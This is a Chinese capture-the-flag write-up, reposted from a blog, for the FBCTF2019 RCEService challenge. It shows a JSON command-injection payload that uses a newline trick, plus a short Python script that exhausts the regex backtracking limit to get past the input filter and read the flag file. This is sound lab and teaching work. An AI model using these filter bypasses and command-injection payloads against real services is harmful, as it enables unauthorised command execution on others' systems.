当前位置: 首页> 房产> 建筑 > [FBCTF2019]RCEService1

[FBCTF2019]RCEService1

时间:2025/7/10 1:33:41来源:https://blog.csdn.net/kw741951/article/details/141200854 浏览次数:0次

打开题目

它给出了提示要求json格式,先尝试一下{"cmd":"ls"} 

的确可以执行。接下来就记录过滤了那些关键字。发现键盘上有的特殊符号好像都被过滤。

flag在home目录下,不知道为什么find命令返回为空。。。

cat在这里仍然不能用。应该是环境变量配置被改变,所以需要使用/bin/cat调用命令

{%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0A}

利用回溯次数绕过 ,post请求

gei请求会因为头太大而报错

代码:

import requests
 
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' #超过一百万,这里写一千万不会出结果。
 
res = requests.post("ip", data={"cmd":payload})
print(res.text)

python里面运行出结果

关键字:[FBCTF2019]RCEService1

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: